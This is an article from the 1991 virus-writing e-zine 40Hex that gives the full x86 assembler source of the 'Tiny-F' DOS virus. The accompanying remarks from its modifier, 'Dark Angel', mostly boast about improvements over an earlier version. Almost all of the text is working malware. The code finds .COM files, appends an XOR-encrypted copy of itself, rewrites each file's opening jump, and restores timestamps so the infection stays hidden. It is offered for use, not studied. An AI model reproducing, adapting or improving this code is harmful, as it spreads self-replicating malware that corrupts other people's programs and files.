40hex3:(40HEX-3.009):27/10/1991 << Back To 40hex3

40Hex Issue 3 0009 The Tiny-F Virus In our first issue we gave you the source for the Tiny-B virus. Well some people don't quit. After months of struggling Psyco-genius decided to give his attempts to make this a good virus over to someone who knows what he's doning. So Dark (mastered assembler in one week) Angel did some mods and here we have it. ------------------------------------------------------------------------------- tinyv SEGMENT BYTE PUBLIC 'code' ASSUME CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv ORG 100h DOS EQU 21h start: JMP pgstart exlbl: db 0CDh, 20h, 7, 8, 9 pgstart:CALL tinyvir tinyvir: POP SI ; get SI for storage SUB SI,offset tinyvir ; reset SI to virus start MOV BP,[SI+blnkdat] ; store SI in BP for return ADD BP, OFFSET exlbl CALL endecrpt JMP SHORT realprog ;----------------------------------------------------------------------------- ; nonencrypted subroutines start here ;----------------------------------------------------------------------------- ; PCM's encryption was stupid, mine is better - Dark Angel endecrpt: ; Only need to save necessary registers - Dark Angel PUSH AX ; store registers PUSH BX PUSH CX PUSH SI ; New, better, more compact encryption engine MOV BX, [SI+EN_VAL] ADD SI, offset realprog MOV CX, endenc - realprog SHR CX, 1 JNC start_encryption DEC SI start_encryption: MOV DI, SI encloop: LODSW ; DS:[SI] -> AX XOR AX, BX STOSW LOOP encloop POP SI ; restore registers POP CX POP BX POP AX RET ;-----end of encryption routine nfect: CALL endecrpt MOV [SI+offset endprog+3],AX; point to data MOV AH,40H ; write instruction LEA DX,[SI+0105H] ; write buffer loc | MOV CX,offset endprog-105h ; (size of virus) --\|/-- INT DOS ; do it! PUSHF CALL endecrpt POPF JC outa1 ; error, bug out RET outa1: JMP exit ;----------------------------------------------------------------------------- ; Unencrypted routines end here ;----------------------------------------------------------------------------- realprog: CLD ; forward direction for string ops ; Why save DTA? This part killed. Saves quite a few bytes. Dark Angel ; Instead, set DTA to SI+ENDPROG+131h MOV AH, 1Ah ; Set DTA LEA DX, [SI+ENDPROG+131h] ; to DS:DX INT 21h LEA DX,[SI+fspec] ; get filespec (*.COM) XOR CX, CX ; || (clear regs) MOV AH,4EH ; || (find files) mainloop: ; \||/ INT DOS ; ----\/---- JC hiccup ; no more files found, terminate virus ; Next part had to be changed to account for new DTA address - Dark Angel LEA DX, [SI+ENDPROG+131h+30]; set file name pointer ; (offset 30 is DTA filename start) MOV AX,3D02H ; open file INT DOS ; do it! MOV BX,AX ; move file handle to BX MOV AH,3FH ; read file LEA DX,[SI+endprog] ; load end of program (as buffer pntr) MOV DI,DX ; set Dest Index to area for buffer MOV CX,0003H ; read 3 bytes INT DOS ; do it! CMP BYTE PTR [DI],0E9H ; check for JMP at start JE infect ; If begins w/JMP, Infect nextfile: MOV AH,4FH ; set int 21 to find next file JMP mainloop ; next file, do it! hiccup: JMP exit infect: MOV AX,5700h ; get date function INT DOS ; do it! PUSH DX ; store date + time PUSH CX MOV DX,[DI+01H] ; set # of bytes to move MOV [SI+blnkdat],DX ; " " " " " " ; Tighter Code here - Dark Angel XOR CX,CX ; " " " " " " (0 here) MOV AX,4200H ; move file INT DOS ; do it! MOV DX,DI ; set dest index to area for buffer MOV CX,0002H ; two bytes MOV AH,3FH ; read file INT DOS ; do it! CMP WORD PTR [DI],0807H ; check for infection JE nextfile ; next file if infected getaval: ; encryption routine starts here ; My modifications here - Dark Angel MOV AH, 2Ch ; DOS get TIME function INT DOS ; do it! OR DX, DX ; Is it 0? JE getaval ; yeah, try again MOV word ptr [si+offset en_val], DX ; Store it ; Tighter code here - Dark Angel XOR DX,DX ; clear regs XOR CX,CX ; " " MOV AX,4202H ; move file pointer INT DOS ; do it! OR DX,DX ; new pointer location 0? JNE nextfile ; if no then next file CMP AH,0FEH ; new pointer loc too high? JNC nextfile ; yes, try again CALL nfect MOV AX,4200H ; move pointer XOR CX, CX ; clear reg MOV DX,OFFSET 00001 ; where to set pointer INT DOS ; do it! MOV AH,40H ; write to file LEA DX,[SI+offset endprog+3]; write data at SI+BUFFER MOV CX,0002H ; two bytes (the JMP) INT DOS ; do it! MOV AX,5701h ; store date POP CX ; restore time POP DX ; restore date INT DOS ; do it! exit: MOV AH,3EH ; close file INT DOS ; do it! ; Return DTA to old position - Dark Angel MOV AH, 1Ah ; Set DTA MOV DX, 80h ; to PSP DTA INT 21h JMP BP ;----------------------------------------------------------------------------- ; encrypted data goes here ;----------------------------------------------------------------------------- fspec LABEL WORD DB '*.COM',0 nondata DB 'Tiny-F version 1.1' ; Program identification DB 'ÿÇ╫@&ε╖│╜δ' ; author identification DB 'Released 10-19-91' ; release date endenc LABEL BYTE ; end of encryption zone ;----------------------------------------------------------------------------- ; nonencrypted data goes anywhere after here ;----------------------------------------------------------------------------- blnkdat LABEL WORD DW 0000H ; Only en_val is needed now because of new encryption mechanism en_val DW 0h endprog LABEL WORD tinyv ENDS END start -------------------------------------------------------------------------------